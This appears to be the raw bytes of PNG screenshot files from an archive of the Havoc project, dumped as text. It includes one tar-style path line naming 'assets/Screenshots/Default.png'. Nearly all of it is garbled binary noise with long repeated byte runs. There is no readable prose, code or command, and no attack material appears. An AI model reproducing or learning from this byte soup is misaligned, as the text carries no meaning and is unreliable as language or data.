%I$I$I$I$Iʇ":I$I$IT𥧥u$I$8J$I$IcT y$I$ISK$I$I$I$IY(I$I$I$I$IR>d$I$I$I$I$IPD^ I$I$I 9sfu$I$[ j*LOK9%I$I$I_GR:I$IRT 2I$I$Iυ;$I$ISX^ I$I$I$I$I$I$I$I$I$CJ$I$I$I$IY(I$I$s עkcI$I$I$I$IR>WIcI$I$IKdR0+3M~Ö< K$I$I$I$I$UZ9sf}DIT8&Iye{V/#Q^i:桼A$I$I$I$IC`㆕2鸩R?wjE2iA$I$I$I$I:I$I$I$I$It,$I$I$I$I$)P$I$I$I$I|@I$I$I$I$I! %I$I$I$I$Iʇ,$I$I$I$I$)P$I$I$I$I|("8D{JZ bp?r 39FIذ3[~SRw_XWP,ŋe׸)PkFsOoX-Z^w+"$I$I$I$I<+^:wPih/;Y/^tN3/S$ΘW']rUkPB2~DԾ\ƶ?QHMKUf>kӲ918vE:Wn,ʷzg(jѷswW;]t"NGzqv8Td֟} lq:=`hѼ)3>yɚ;na;?ڟ'KƧy_iܨ,Gq$I$f0f IDATI$I$IgG,$m{m]Rl$)1Wxy\nkRP[L`=Ԛ?kMeȜ#ɭ΢؇d疷#y,y.;mUXv~ ^?y ] }5CLԫW{kp⾗(e\ guyFY eogďyߣX %_LΥUJ)N5 ȓV&p%Áۆ0~5׿|,s{>/ТySp{>FQ4'3ֻSY'e6J6An^ʨ?y)iJX#Hݲq?apNBQxJ7iRdM_ZC+/uV:@N6E8g#ԓ{ z~7ǂKy (I$I$I$I$4q4KF MՏ?wT/Kʒ|} KyD>hj6Gܸq|<&Igusχhsƍbꎢ4څköQrKxN:e`#H(j`l5ooQ>&7(.m vIOOfkӺu MI;#33)D;nƆIL+N dD'r/c5k%fU|5殇oY,F6b585<\(?7T4n'b4Ԏ}$&vQ^,=mJӭo/zS̎,ϴcZJ]t#_Q5c2h}&1*P5'8bgFF&Y|/MOkxdee@$I$I$I$I]{\\) O޴R-> U%XF4@qqcH"fFrʛտk Ŷ5eh̨EFwgkޣN˛G3Gyd>Y]O˙ьgyy맬 Tj ՘-09]ZQ7l]M2gά7yt,2/e'r +e[8K!Ejr/i0~"3yD}<ݚZbV/7y۰QT*4JĔULnf2vd?YxeFDjV)Bh6԰u) 2/q?/̙60A &0 ϝےV1_qTrYUF0nf].r2.ʽuUB/O| VV &k+37y7Ow$I$I$I$I~0bM t2): 9A5**Jlt$_ݱ-(K2w$::Ɍq?ٳg3ZBTݓ^ e}uIT~;?o97z=6,7"iس"%ܴ_ĄGJCٕI(N GBvގۯ<+ſQx8sƿyY7Ģ7DZ.vV6d~ rXqD3hjv_Ҋj`9GSiԹ1^"ˇ}ƫdcvkxG߱RP,^S73nݾgǷ|͛2p 0DFtl׈N;:v.:kfV6l` 15ݬ;ed cP^z=m]G.usm;N& 8W;.:wOcccx4nT χqz{~%I$I$I$IrB}7_3)Q-Ұ,>lEeAl,K}%@O]6D=-\_Z)nw9nFE22y֑vn=N*)#6HKk.fg'8#槟Bx/ Th@0,,l=^}Sqv{>F8nqbך|f>_ *>mmZEą 66ޡU$1{?A{+ԩ\qIZak?K\՗WhNXc+{3_CE>y0^H-r\b$I$I$I$IN'v !|$}BwrW\޻#1;ٲ2`<|uy|) X0s%Nƶ(:tvcl/Ƒ |!"v5gvv $vb8s6#n%3}c{pvki=@j'H;¸Sgmۺөi$nZż ۉ ;\9L{%*w'Wt[rvi\l>$;^<޳wޝκ|391nˮuii;CG'L.~KrY3l)[gg.hͥm xXf獯KsKKL͘nj xr>m_L%mapObwx\f ܱr9Q gcO {SMcn^wWץgpO8$I$I$I$IEdR0+3M~J +">OWj-'n`9<d$I$I$I$I$I$I$I$I$I$Cy$ĄMy$I$I$I$ItXժVuJKjڴY^ I$I$I$I$9sf,LLDӦ͘7o~Z>oߒ(T_]$I$I$I$I'&MN;6G<E\$I'%z*J*סHc|/IRg$3KWvG\}{F$vE0aHc|/IRg$3Ku$I$I$I$I$B0 IB! d$ 3KT%I*$ G\I $IRf$3KT%IX$I$I$I$I|)$9}_SSX:O#~`s0Ϣt" ~')OE67X-(L<,Re ܙ̎tG_G>澁:>*PR(˅CG6WR{?\E)_"ĝ$w{){oBHgdJvk)]B9)lo|"@~ASV.MX؝UKqŇ.VQ$%(P>ݯj@@^G"I~P&k&OGel/z ⏤gpדҫ}?-TITĶ~*^T$)صl | cYJI^r} >&CIYbU*Cpܓtb”lj7A-|mM(Iӵi5*][3k7 PxNT']˲c!ԯB1՛seipRi҈_ǧ~`QݚZPj)b2Yd:Ϊ=;ڷo!oL^B{>#ؓ[C۷͞ǁiuJJEmRtS6 i\~Y[(C\R72y|[Z^Qt})n_eF7|/ߟs; Y%5JRlЮoGg㤥Y[ kXJraP xrRg½-ɀ|/aDGEP >^#hv?ya4 &~CrӳԮTY$o^ńφ3rE:gxYh{ br@a߃\=GM07ĕ7vbĄ2H8 n%RARAȏ&聎\y"_lTJrY?g:qs)\m;^m)[užM"qꩻ1m3K\ث.雗0uLLm46{"CiFzTO`]S۵>-K I":2@(%{+EN[X0w6+Ҷ$!7D!L݅ݪ]{HKѪ <]ِvI:;Vgni6aZ ɣg+'!3ªKyL9Pzmu K3ٖ/$IKpEZthUWqŽѩNĨJ4k׊CCq2WًٝnTvPK T0of%>/$I{b" 䦲cGèLb~Z̬I?sR͎}*[OFZx$I*7})ڈ*g2eRV&]qTwΩfSZrCTX"ɫx%׺d??c΢C9L4a:떶Z6[eSHJ_*(P*BvsEj]bϭ{ ˻Mj"NNAthQxL (S A 5qZ/4eZqN(|L3Mx3 r~BcP:A;JRyÚo6'D `"^T(ߞZcèWxmx};mi/fүK:-eo[̣Fv -05eh#hLj,d33 ` S΃g'1d!F.'R~ +S­΢}]L92l97UJ9i#Ǯ&~!x>S~!7{߱Kz֪,i˾b0r$!җH[B3!w&Os?)2KA䩟 \z~3Njw"i2~5of%r)wB靬1}Ag%qIa-;y{u>"VBD Mb*H:~P*rYp4I]iAۚKmLj)Y$0‰2_idQeAw D ZʅPGulR)PMa 6 {p(;.Uli{C;h%4XYq:lԩ^ ױ!RZaֲx5\_MRT WD$߳)¨FU@85jV$&}+V9!} V7NJDZ̔mw,^)sW$IR^ lxC$/ı=PNGx.$I#AL%S+TFmZҹS .u2{WYtYZ߁OR$DDHaڴO]EKqbAA*0_:?ߎݗ3%v'w=mZ4o?\Xv=>CmBYɚ?䋥M!y H'sIy*ɚc1D֭ZϺCҟsr <0?O琓`.Cö#d;="Fxx@x eK`)Hy|/ _# ,!'9ۙ,kИMРEWt&3i )1KߞkdFI&;-Mk׳rS*9\׮K_R~LƼ0n2j5e޵@aθ'Nd#f;e/~ڹwMhިM.AsWgfKȧ>QH/gA?g_D !_|=&m AXh_eY+׳)>+İ˟}LPҟ҉cqKis>nm%!t V&|=_ ԠvpR~Zܟ =lDm!Z5)Oծiŧ2agP^UJ1ce֯V 3KoݘHN4h͏sqRuN*BdeQ_,zzG̴E@XRc [2vj~qe@X`cI^aB\ř r{>JÚI[]DU.R?>oʅB+ yske?NdُyOLh^HRRÊb|[9r!voL`g4μ\2QfWB qޒg^c¢rU^ŝ|;hSI?U[Ԝ;^?g0w Tn֚1zb2HLPi{:JV~\~vAMXp(9e ;#KSZ&?1qߠ-W߃SײXMڶ®!42 |MZs׳$#!O¬n%p|eQ:'&ۈ9UkXpR۷ēDó[aEa~_-Jt<}D|RQO¶!1yƦ=$IҟKKdzbRȎ*MS7Q?,' vlZOhz'ocSBOmcȼ IDATc,ϬC,?ߙ} WpNK:r!ND府Y= iѠ+}g lN ɔ R, #/:t;԰}k4iKoУtE,X^ax?χ\Μa@z+lK(5K}~$8mH҉pqtlԎn3پ' #=O['U˛L6MJfҕm%/ΡG:ߣ)l]ǴZ: vncO"vƎǩW4AKF{`aCżP{IshM?M!X$%EҲe{"i_е䄀Ec`d)p7L"noK?{)2K߯]a5@h'7wk.&eDmbu1INJ^Y1i"qpjhX4wq!|0w7_Etuw,EWT3)I[ ͪ;su>}rq c,Md.BS #i3 >̇2}/ @RCJ?`aVf&M6cΜY4mڌyҲU< Q$keʔb-V"C$ILj^|/IRg$c4irھ9sf}6If `~%I*eP|/IRg$3Kq$I*\ IRg$3KT%IP$%I $|{I >$I:c$IC``(h$3KT%I*$`G\zO2IV¶ D$3{I >$I^$ ӎe$I$I$I$I$(u$I$I$I$I$Y(I$I$I$I$IR>d$I$I$I$I$IPQ(r)oс_ _<@~Q+O l_lV{ r]r޹7 HB\3sTOnHt{saøǛ,o].2 g=K'hʝ\ ؜o"Q96H?{ IDXIZ\u]Ӊ[ߧCEq4V bӢ|һ|S|Ug{œה[{sץͨQ"H%L?7ڽ}|D$I$Тs-S3a22 U?{f73т.#(ޞgQ{$LKIJ(7 KڴX;O iJ?yumHl\Ĩ7_q"/pfaW*F ލ|Ǖkrmgᑍ0N!~,ȁw2 , ҪN% 'uAKH!Iw3~y, TllLOVSSRa;X9s{z8 ] }4֎HfRt8;㫗_bij?nlKj% XGܗow!%I'Ȧ<:V 㜻I2/f+Jgig1sU>0)Ʀ3ی$7q<{M2SFKIS8Ȥ41q\ޮg f_gAb)3 {q`ĬiӾ a?&gr@{^I PiTA ,hT.גEm:4lr>r;}vLŏ;ѽٙě%I:)Ov1L^F⤃vB P?(ѽ0;Ϡ(Wh)(\+ '&dj62T E-`ݜsI8KMl{f5k^(VWR͋Y([I迒~ Iҟy,17ڦ+W?$ŋ˛w)kC?A"ETdS^<}b;e_(Zs>/<}ſn{}AQ<ďgTq$fFStǧdV-2*ш.ɖ9)Vm]zdz.{jJL3ɩiޥ#=[__͝9ŐۉՖ{>9PW~cꔋ8w5_*]ImxiR6gv0ae{|<`kvgQ6aNcYv(;֥Sr8Ȍ W-'-{Itl c9<5ɔޛ]0 5H=ޝ1z ih>{d#o[$D֬ n5k>yڼBc'S|5OFGϨL| W%b= ɧx~i.0Ċǩs:Nx׸I Fe,~wψQt\н>?sQNT6;l l"禎2#[(I#̱d@p~XWP?'6=,'2(d8 /zs#^[;rY1PJ*nP2lA_%D.u_9M=/M ԝ܆ؾ+\[QOIth,XG-emfcDpltvl+5)GK#S*pr+eeHPV =L&jZQ0'}IHV6Ti_BE׳vJ7'}D$tL *֤ZpJwz)soM.cn˺={6~~ttiX}Bḽ{{^7xw!8ޜ)e{WEKNRⅣQQI;EFr;&PXYt%]1Ty2^"θU9ˣWEc9P^ՇϏN[[PvyFw[IN$ZS7ٻ8ߙ  \ (KMIЀZIK%RKXA#H XDY$"!Lf2?hBjA|sνϽ9ϙsx; ~6z`}ֶKW jN>^lT93m׌?.=vϙu4 쓭^5w֤ ]N jN6{+i<.7|gGV7>Ϳ_Fw&=Ӽee-i=mTv:yuK{Ut6rU> F{0C}F;3v͢>球ͧ~X>;-wǴbq^ Jg=23s fֵWKη)GeFR`n4\tt&]9%GĿ>s.I{NM{⿞yvԹ0ڰc6a#gn[sΌi}E<=/\ 7lӔ=ӽx^fY6k+ӱn۴9$͗=yVi~uO>mWܛ37Fwp^i-=Y e}U} ÷\o.8*_95مrz .>9{]yIW ȡOaȌgGfoN%)Iu 7)}JWwAyӾ]GWwmWܓ+szIӴMM?Ggo6K}9kwwȢњ-/x0O>rx.#YΜc&y[8+׼}l},m}eIۥ窥Yxm{pLG6-ű0^\y}|zjsvY#e֗.c/#g݀=2_wΛ$deDwTўnOM^>ϿdaS۲sʘ&?1>:[y%i7'|،xW8&;HB ?CƕrՏ+=z3i;r?ʇ>;==3ۿe״99_l:dδGN`wj]]<Î;<ִ+o˪$1,~ ibxu[uߥj6 }w?f߳oN%'gMGZsQyY6|ڛ󩣾ݐo\?6}#;v~yݯ1lO 6kn%:v:ar.z7 sخ=vXwisN#k|;=j3s瞧dG5oˤoΎ:l:zYqѮ}:ɬ}#}a3=+>7+gk<ݕFSx˰{粬2,ul?vl?wVՖ~,4?Wԫǯ:+6N#̸ e,ztFߜ榶,Y3F2kd-g#InFνzh9e%y]r}ӄowg|}siG weSr6'1]+{2sO ԼnԸږųȔ)E$rNA]33Wӻ>1i fҜ6!y^oYF|5ysקOȸ.7y{nIYwlv>f8긓lZhJWsۺ$7h:Qnw;ߛu]VeʥYѕ$dR7?Ss.ʗx6M92٣_Sږ-Nͤ)瑮$y,t-V扇~|-7.xI/ɓ:v̀o!5#ϢIg̗1q~lAx ;dDm='Oܽe+k?33 V9!CђtDiࠡAusϽ2ssϽrWﾛhgbaY6w٪M=،4u0ג,gd}7s}/[M4>O Z6+y_P#snq@}VP @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P h IDAT@A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@{eYq+& "rsZ4m+j:6i6ךr̙Z2+!T(dy5?ٞgsﾮ> PHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHPHw[6?;<;N>Y{SPHPHPhxOO~'ןL=`ƞ=͕815nO=}5p@vm%ԉS>{w>ٚ`We{[Oc{w>њ`W  3XE_/-ߐc \.KY>3<:<(rͺ` 6- >Xkۓ{sCO^̙CS2d}YYç-;6-%e{#,Yd}WrfΜο;| iߣ2Qx?C~d۲n5S˖ߔ ȳ o-kYzeF&d¿ݒ{V^,>w=4!3&n֜T e 32mҤ eV=,]q?[n[/W؃'- gͼ5wd3睑)╷f̛Μ$]KO~Sfc.̂㞟0IDAT,_3̫rΡ%ّM+>O,;1L sUͤW^#W9Wy 5݋ʹ]zw#ϒg'd3rF+7\fYyٟɅ8.o^^,xGfx0m֌{I;il}UnDztks+/9)Uo$}+y/3^:'/[O<$odmI9n@ԜrO%+m;,Y}G$sՒ:LC2wr[ 6dٲs󾜗͜1I>f~~v/ilͭ׽*^Oc&^P.\`N'9ՙ䒬N1G`W%ᇟٓ& ~smx,7ݾ-/97u$sμwwUwrJKR\NjQVLtd{03M$,.3ٖ-..sjdYbb 0X!ul0B[KKمoOr~OW'͏eȒOege+lk]4Hǯ]Ȏͷd7G&]xOT̔҄T4d``ŗWr罿:6\5ɴ4-9雼,&)OwOp jME/,KKwggn}]rz%7//qN૪Nu1cSJPy(CuchNO:+2yLhId+|Wv!^}2t4H_Sj?%x| 0ӻn%S߈mޞ϶I3Sݛ̭yGKԡ<3CpWɳ3kz}ιYٰs]rQjjR3ڷ|u+H}Z;&)g#͌E2ayV_oճ#v"'X"d*PBCܽ1/ZK?0 ^&M ]3xEVOz4<]]eS|,_vi:ݛvi՜mjjVf@JuY;mS6lSӑwf3iE%ؒ#LoƭOe+3oBdޢSuuΝ"9ey:rMׁgI15S'WsK|M0N95<,\~kz\1-[M_-W_Toy0̔OfqcC:$UiX|Y{yf ~ݘہ|Kvl~P͛O>M'Ok͛D2ĔƷ iUiUZ";?qhp|k;~6|=gysefbM滻=* T @@P:^;% ;w|==Q~ 0=-])޳'=vǰgcϧx>h@kߒy8cϧ=q T @@Pg ל0X?:kws(R.SűA'q`ϱr9IRwW[QW7\x cppڊ$9tѮ8 od8wpT N`Z$):8{~vrJEqOgL\zX/yG I$UKQj{Wl]IENDB`havoc-0.6~git20240910.69ce17c/assets/Screenshots/Default.png000066400000000000000000000773051467014221700231770ustar00rootroot00000000000000PNG  IHDR_"7#p pHYs+ IDATxwXW3V{DhԨc)5ޒآj17ĆAmc`EX љw]N.gGy_]g 1VU q{T] C PBZa\Zb X\֧ d~QjrIr˃ѪrĆGfJ W2a_3TR-W2|dB"뾈puayaժ|7B,GLuNW66ypRbjU^9\sZK+V[ya8* |࿩bֶܾP@X/yar+A\jSÆABEb:,.-}PaXHK<JǕjL xyb0V16Pˇahp\uckN.~TyBM 9 w~^%x TT|m'@}(KΖ.1Q|V%;\lTg e%~pؚY.C_ F/~U= h,F([8\dCDlsŊ2KYR/meoYr9ĨS$Ue|['m-"JQk)sצf*^gxrB+1D<3ȣ0-;?\F-鄿9^CD{sWCl^۳G$퍷Z\5\T&~-U12[6;NvW 'c N6ቧWSmŀ*fWLC4XϴiU^:°̄ M"ڷU3+;;ܥYNF9}:߿5+:uj/5k)O(L }@ t8طn[׬jG56ֺ?X\oU$$!8ÄmwwףG/&mٲ[svrv/~#jF ['zU''1_O|a8~R u`廊I7GGӺ/qQI c+W8J%5,Ae M =VuZt\]-$}R%lku:CmڴzW:vlkii0%edd^޹sG;;D#[,{9VKD^f|ys_Ht9X5]4[ S:<c0op`*z̏;\779 ŗ_-0pT;0L]{^PXTLC&<_T\DDffDqĥըWzz뀩JjM^\S5uSר[N{nialIbhۚCCϜ;w)''{mۀ{<OD=;Ӎa۷b(.S4֨۾u,{RMe_)sk_eN*?jPSVhRS3hԨacǶDꄇrsΜЧOw"ڻ0EGǞ<ֻw;6DEE?LoZ(**+A:l߶-Z+ vaM#_Z"UG>n㧯0+n5-ҥkS3'8I-.Qq)k0DU5%j#0< .\ϿkڡCy΁?CDwhe7m75SڵLO/kii>6r94,eBIP1dvV DTU]OKڬ:ގBMMY5+@AT?ZP|[|Sޭ)Rwu1NL\=8tOww߼e7X[,ћ7cIv{uX3y`ۯzy51''ӭD]A9PƮ,!fϚWÏ0Tn[[a;9gR:]C8vt~=}{\v#77W.Bw?sMLsL ?FD}-b:vlGD[6"Jk;}8x(D.oߦǒi_Nڵc}Ϟ+vj8]|||Z]]tNȱm'o_lDG}|lმz{y oO3m`nn*=[51eo>ǎ޻Wm73ƍ1nǶؾO}ЀvxiVLsDtϦO pB80d@عKJeQC7ɹyyNՔ3!Y3'~BV~%%Zp"̄^4#Y":u|>ޙ]3gL+nk~^:d {xHt)<y*l-ގUMK=zm?eڊs>ۧ׋7鑣'=<\%$| "T.j/RDT}z%oiε]w"ڨѣ\.Q k: Sؕ%ز>͛or9|m+4:^ID äzx&TO^HVnqkjjN{ ~~^^nG/^1CN6-7V,C8[&d~4e}nݾko}ƛߍKmz'Bٺ{g=6r"+JoRW$I>8Ҿ] ?{<)%Гa:]ۀh,ޕ.**q;nł|4=uۿcF-hϿ;e;\Go8RXX~~ٲyjFJݿg間{ə_M0ڷnѢYBBOL]":v)CZʿU^gX>Ö-9ow OOwo/e[j&4jZ2K>fjjR4nܸҢOf{WZTlogg"rt=;Dt"'n66ֽzu dRss8-=IHԱT*.axDwRRd+?䓉n. x{yTMgLƲl}mQÉiɳgNnK"BCrrt^^вmۿذ~꯿Nh1Q7i?L&m:wTXF2*N x*t .Sk4M>ZVT괴Dt6"˲jWYO"Dt"l\\(>>q!;^7Jȼǿ1= |!HƍvnW_~rK)]UrΘ W9Wpex;v#G y8$؎7Y} jܽ܍KܳkwjOD&&o734d}+37oDm޽{w̙H$*w ݭzO|sgΙ3uي_Nn1@Ĵy.D?yx#89-,l*hxy{yap#7{GCM]^^0 ò,K ˲,SnUvӬ=*y]Q@#0@SO,!su>VݳDةj_+;LD )Tݹ]"dǭ,LR6NZ,lH!ԳzGhP=kk˻6v H97>̹a΍sn|sÜ漡ٵ`{ Ի#6t>Jev=񢆎i0Ƈ97>̹a΍sTa D<ܨ0Ƈ97>̹a΍sn|sÜ@ gv=ǜ0Ƈ97>̹a΍sn|sx$ϧM.oլc&LE"NSUvlD!TRiT*'S633]rJ9>9%}QQ1 |'_ HDt sG 0o%Ѽ&85gïD>r-~;}Н;>n#Gtfi EDӧyS gm;|L䈛7vvvL׭o1IfZķG%\qNN fq{ϑH$ڼ5Դ̆ X|ݻ ^^njjZӗ8>{6|;,}g G$kB.z;'$4t8D.㸳aׂ:ޭN4Hl57D-g\4l׶En+377*ͭ7^pMMX֔L"1B~/Z+Q߯1oǿ1¯Qky"пszXZZDa>qA&]sPۑt{=~d2ɫcvh_TTi˾+Wo'䩋 t)s· {6<ƑcaD-'"tءm4W5!!:mb"[[ڋ?ұ6g>S6?7!oG9&}|gw_hXޠz ߝeِv>FD"ۚ3f}7rĀ6 L]DѾ+ӧs苗#h=hsV=-OJk0υHI4h/dgha_/?d֨CB.BDm43jE;oQ\*ޑ 6'긘؄7o}䉲rr7nnܼ_?59o;?011C/=vD\ IDATK^LMM>rYZz8ޖy{>YY[[.Gm+q y=497Emxfr>dQAA󛯿h0̵[P\eRBzF#}x]!TZ}/!͘O?}9FCX3 3^"kiiK<_ A"6u',]c7/!%%~r-33''yW??oތ}gݶwަuO,BkkG|<%KEΎvRjM49ءՕQYY9={tܵ먾!ׯe_/,D޳G!n冔 {;kTR{K^7o6<ßDD$JX,~l!G ^'el3A^0Ѱ:q¢ML|jnn FjcCy U%Nv!#3;--L]=wuq*.>))9-hs.LLd9yejjҹsɟ~RU*>Bsf:*sr޽眝ss{#O'Bϟ=?g֤{]-W3~]Oܴyo||5˲>+tVLMv' t*+K66V:+f*l(''/##ݜt0sTé){A{?ӯI%qΟFDySPPdff53U ۗo\vs}g`UY cƲ?-.*qkɲ__ \edd:m[B9[yD$bE PHrOR&~ϙُ>H$db|)7H|\]^a㏿JxmSS .e'{on`I-)QmyD4lNlź9uJJFBbJ׮;AD~ͼ/Qx4fY`޴ΟDpvm[]9k҆pZP !T}eѬGdF~9.h-F`8cNIɘ=oeűJ<4`aaxTpFgi9bL.237),,soC>?^y Fxs#oD|A-eVHZY[ b;[LeNW)q'l$'E"dr'ڶP  jszJ$b=Bku]{kײCVnHA\x?iN oJeZW*s+ܴyoa+#qg \O|ߪ??en%%Fxis;tW(?~?$ZvS7^eVk|ƒ"4kls^őg>tiKe֨=@hm'N~/! }6MvֿY0Y}pgg>뙔'8g6^k=]޵ڥݭ۱oA}rqE-bͱwlnμՑ7W75͈ }eOmܴڷk5Q+Wmxݱ'/oZd%Lo׶բӉ]VoΜDXJ Ф`Rr^jEqrrpqv`˅E6534D"$ښ J3#5 MSޕ>{B>>eYLT*'S"*e+4tRX>?L9t3w P)){L:An"vk6kԚ%K}/_TTqvDĭ}Ík;cztpXŋ;L N/x9#yQdd߷Ou._7T$&#u뷿ڋ˾B$'0OL_Fznt:'׭ڸa˗|BB΅^TJGX*K[$4j?[~ku뷿6nrvz}}:nއtAZlڲ㸃N;q9YX}9sP yssCO:|&u(&&!++/SsWڶi/1пr\]쭏 p`y>;vIKSӗvi~%,f]w_"-/CwhA>Kk>yBpG|F_Yu`nf?W75y6}WXXRH&ވ^|PYbGgƪ'˄ZW E<đ|rQ̹a΍s<Au'33ҔS'|O77NJqS>aΙF6t "7WG둷u%"JK=.D$bb"_0opf-!o}ޮm04A; ؉DL#CG7ҀB7Ç=+Hri̪,MDYAڰ,knn`[Mwju_VM7${yKH"~IIiDwvgͩc`@nϝ*g^h4KEFQϵD BAxܘ0c;Qԃh30Ƈ97>̹a{zԻW'a{'BQnn~عk-{ zH̞I^y‚ᑗ#vƽ}8n [Gz]x]11 ?xϿMLL1ZQ*s]ra!;|I3sŷESn?3TSffעf]_&\R5gS-͌@Ruml,e; @kuq4xrPw)Bv)Bv)Bv)Bv)7tǑ";{'78ةC&'<a'"3#)0S <`|O; !; !; 0d)S:hlly:dDa!@#U\T`3@S0@S0@S0@S0@S$nv$2Eۮݤը6g:~ ?cu%{-r&>H610=,uM"=wGR}c󆧬yW aι\aQ'E%Ɯ<ݓ…԰{.NmYV~nTNa'=@,f&DjJ.WX:^=wU9NrD65sla0eL,\kK_{wR -da|ءupoYnvz=D$Ƚ[vfY6W$4Ԣ6,+Vݻ}6+!TѮ+i#+v ϒ?,Yvfo-8̼jfMgyV6?Lt\5ag77~#j8|G"&}yt=FP' @RD]ڥVZڸtz `3 3 cDdѭs[5V^lVvjվ>},RV tڪnK"5tW̬MQE9ʔh_82_~]0XwN禗o-m] Z*WqXtÖC3OniUrU5ߏ}UGfmpl0Lv9I+:LyCT\Kn?@vd$6 2y㴚0}ny<ڦ&^+)%%:mrZUHDio ThEVv"L]Ubι卋;tZH!)IuhLMzHW\#Ȉ`cUndh\FuIbg61K167!ΜӨne!*n R\HanۺȸЌBKa^%2*?'EӭYUIAqQ^5WOl'%ȰΩymCEB\)d3[I,Bu679urc"fL6ka2 wz+Xj3q/Y r6^$Y-ӿvQ9j%Rč>wo*t,8D77]y ]ݓ7iW[ysڻ/ uV#\Hc겴]ڲDd;s,h{w*X}O,vЩ. DV"h?7y;ݎ+U|t]VTߩ`eH6in;*玌pDmw*z֯zT5۲ffe~< 6<2|٤U "rE9et;Y㫹O&Ra"I\LOd0R+91}Cr/`b/hտ ?kW:]}#+7uigٮX$hŦvjUZUq:TN}k% w +qْ^'v9ivp.L<6 Dbð<֯TVlN} sWO]OVzlTDni3;dr3+;쌸;,*J"㿖0ܑ2W]_vf#ˊ}.8m"|!qbK"iN4X"⊴ɟ]uwA _pzݑab"5)lƸgm'4N3k_xVIDbkD3R,VjsS\ %"`^eoN$#\(iD/ +Q³3VQEAD#܊f dLvEƪJ)xR_wXd%rW+_[h&p[^?_&"^Ab? IDATU]ϟ\wrk9DW+l NfT>\WxWHg ϼV*w_J,''X>vwiUl g_VTsĜgrthܝIzىL5r'9~Rl#BG귬3}(6[j'HSR+r:-qmNX,ku/0>T"HM\_ R}u1DL 2,m=61inP 6֊Ln="lsLQi5bdNpFLntڢ|2-]WW >mme)%26]GH$wlya[Q{53cb"SD)!ؚ_._תpZ Bv8H#"uTy9W*'q5yjrQ5’|"*Ux2wWPB,&?(AI.;Rx _xwQ3$&&m-}vu'"3 Tu.N&\vYSRB"FܼZ#Y^rФl[[*ܭܹJ6WIP=#m^kpEbX"2$Ujμ}9sw_:GDb7k"]8JٖfT>}sVW =47 e 5-*,-rz/y gөʑYz0 #trzUR#};' #" %IVC\;\> l\}:*bTŵٚJULQQA&MJi*2eXFʜrw%pTbDd|&DZd.fU1%#$&S+Z7<2^^?{w^U}.z|05`*u֊ԁVZ[{X ĢڢzZE=ރzZmġ 2ρBln | kVݹuiCv{?G߫nw[ά4۶do)K3ٶ'Gؖ?FiYy-s76y{3+[]2o6wX2fE=LvwgB$i>llXp＜$I~s6u?tN==O<ΙtIA:pk_8CO~>jPYylIiNݪt̘$I-k5l{u&tM%xtm7n[4oƼ$Iq̚]{ukW̬est&I4ʪCdݴU+~3S.mRչ=:\cd2iI&M4IZ4~ӫdӋCG; H.+++} /?ϻ?x]t ingd04-u>wߝw}ez-I0\_1@{LvU0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@D0@Sԫ0@UUKx%M]͟&$I~Q>\r|>iߜ jAt\SJc1d24M$i$d2I~}c8xk%EYYMr꧆6O8u8Ikn/֭h^S/HHHHHHHYq۵{uoU$ItuEE'+*o;T$I2|wwg֮xΥMNrԩ3?՗Ag|wխݻ.6$)/o1z1u;;}w6&Ic̚zQ;P/u޷u/M{cKJM3l-޽z0bU׌NCz}ׇ WNQ7lhrPWWg|'iOg~Yg|}vl'&m{x[~<#z?.zM1G۵kqz|$)//qxڵ~9w$I9֭[o:uTݪU=q׭X_ߞ}Kv߭f]]}$cn2]Urѭ[< |a4ֹgG /^S% 1wnsI;>YZZ#խz협uhIסݧN{}c []N=wG~x嘋7c#Is'}_wee}s}y.[kתl6KxΥך酋{7:t;_=/6mZzȁ'ƾ$I&8uC9ٓN8b3V\եUW^8;$I| 84^pU|C>ڵR?u޷^nNpL$W O~k߿ ®]y聱=0+.~f]3>{ݳfkW]3Z]N]xqƍ?pwμ\:KG?mm3c%>Jeedzi'IҢl7۵kөSm+Xp?iolY/ᘁO'z{/ԱCW5Znݲp+֯ߐ$OL,sw>n*3iZQYG]%IͦifKaa+;?PWmѢUI&666i&IܾO3+Yï:=I>y+٩K򗩛ϴk&I4M$iQVvLy}/.[q׏~˧^:wȒ%/rӇ…K_{'ϏI/Nz6w/<`6[b[ؘ$wf_wȆo̺?lg ~yv]̻GKxj= .N;^];~`+ء)7|d믻W:OhݺSf\{ݭ __?l-#mEF@㰭13|._%\.s|>f͙ I7\s{=;WЦ^삺Tuy1טf2LiI4lf2$I q-[۩'K4إ,]2.U~OubK]MM+;l^d~uu꧆e54k~@]DDDTw[lan@$wq7/ZNe" 